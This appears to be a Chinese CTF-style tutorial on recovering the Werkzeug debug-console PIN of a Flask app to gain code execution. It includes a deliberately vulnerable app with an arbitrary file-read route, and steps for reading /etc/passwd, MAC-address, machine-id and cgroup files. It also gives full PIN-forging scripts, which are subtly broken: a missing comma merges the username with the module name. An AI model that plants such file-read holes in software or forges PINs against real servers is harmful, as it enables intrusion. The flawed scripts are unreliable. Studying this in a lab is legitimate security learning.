flaskPIN计算

# 环境问题

注意

注意:flask默认的最新版本Werkzeug已经不允许非本地用户访问console控制台了,需要使用Werkzeug3.0.3版本以下复现,具体搭建参考上篇文章

写一个简单的flask应用,起一个docker服务

from flask import Flask,request

app = Flask(__name__)


@app.route('/')
def hello_world():
    return 'At /read,you can read what you want by url?filename='

@app.route('/read',methods=['GET','POST'])
def read_file():
    filename = request.args.get('filename')
    if filename:
        with open(filename, 'r') as f:
            data = f.read()
    return data

if __name__ == '__main__':
    app.run(debug=True,host='0.0.0.0',port='8080')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

查看容器日志

└─$ docker logs 2886                                                    
flaskPIN{Cra2y4viv050}
 * Serving Flask app "app" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: on
 * Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 256-147-392
1
2
3
4
5
6
7
8
9
10
11

服务正常运行

1

控制台也可以正常访问

2

注意

Flask 的 PIN 码计算仅与 werkzeug 的 debug 模块有关。与 Python 版本无关,werkzeug 低版本使用 MD5,高版本使用 SHA1,现在绝大多数都是高版本的利用

# 利用

需要一些主机、容器的信息,才能使用脚本生成PIN码

# probably_public_bits

这里需要四个变量值

- username   # 通过/etc/passwd这个文件去猜
- modname    # getattr(app, "module", t.cast(object, app).class.module)获取,不同版本的获取方式不同,但默认值都是flask.app
- appname    # 通过getattr(app, 'name', app.class.name)获取,默认值为Flask
- moddir     # flask所在的路径,通过getattr(mod, 'file', None)获得,题目中一般通过查看debug报错信息获得
1
2
3
4

在这里,我们一般只需要读取/etc/passwd文件,确定username,然后通过debug报错信息获得moddir

对于modnameappname,一般都是默认值flask.appFlask

关于注释后面的getattr()函数获取一些信息的内容,出题人可能会用到,每个容器都是随机生成的,简单的题目出题要给你PIN码时,会通过这个函数来计算,我们不需要关注

# private_bits

这里需要两个变量值

- uuid           # 读取/sys/class/net/eth0/address
- machine-id     # 多个配置文件内容拼接
1
2

对于uuid

uuid: 网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。 例:00:16:3e:03:8f:39 => 95529701177 也可以直接跑print(int("00:16:3e:03:8f:39".replace(":",""),16))

对于machine-id: machine-id: machine-id是通过三个文件里面的内容经过处理后拼接起来

1. /etc/machine-id(一般仅非docker机有,截取全文)
2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
3. /proc/self/cgroup(一般仅docker有,**仅截取最后一个斜杠后面的内容**)
1
2
3

例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope

则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面 文件12按顺序读,12只要读到一个就可以了,1读到了,就不用读2了。 文件3如果存在的话就截取,不存在的话就不用管 最后machine-id=(文件1或文件2)+文件3(存在的话)

拿到这些值,往下计算PIN码

# 计算PIN码

  • 低版本(werkzeug1.0.x)
import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # username,通过/etc/passwd
    'flask.app',  # modname,默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # moddir,通过报错获得
]
# 填入获取的16进制即可,后面添加了转换功能
address = '02:42:ac:11:00:02'
address = int(address.replace(':', ''),16)
private_bits = [
    f'{address}',  # mac十进制值 /sys/class/net/eth0/address
    '42b783da-44c9-495c-9c4c-eae7e021b389'  # 看上面machine-id部分
]

# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
        else:
            rv = num

print(rv)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
  • 高版本(werkzeug>=2.0.x)
import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # username,通过/etc/passwd
    'flask.app',  # modname,默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # moddir,通过报错获得
]
# 填入获取的16进制即可,后面添加了转换功能
address = '02:42:ac:11:00:02'
address = int(address.replace(':', ''),16)
private_bits = [
    f'{address}',  # mac十进制值 /sys/class/net/eth0/address
    '42b783da-44c9-495c-9c4c-eae7e021b389'  # 看上面machine-id部分
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

整合一下,一次把两种都打印出来

import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # username,通过/etc/passwd
    'flask.app',  # modname,默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir,通过报错获得
]
# 填入获取的16进制即可,后面添加了转换功能
address = '02:42:ac:0c:e6:29'
address = int(address.replace(':', ''),16)
private_bits = [
    f'{address}',  # mac十进制值 /sys/class/net/eth0/address
    '225374fa-04bc-4346-9f39-48fa82829ca9f7d925322c17f0fe70c4819db88c8d2c40f390ee263cf0efee036d792c47effd'  # 看上面machine-id部分
]

# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
        else:
            rv = num

print(rv)

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

测试后,用第一个跑出来是正确的

3

参考:

最后一次更新于: 2024/10/28, 00:07:03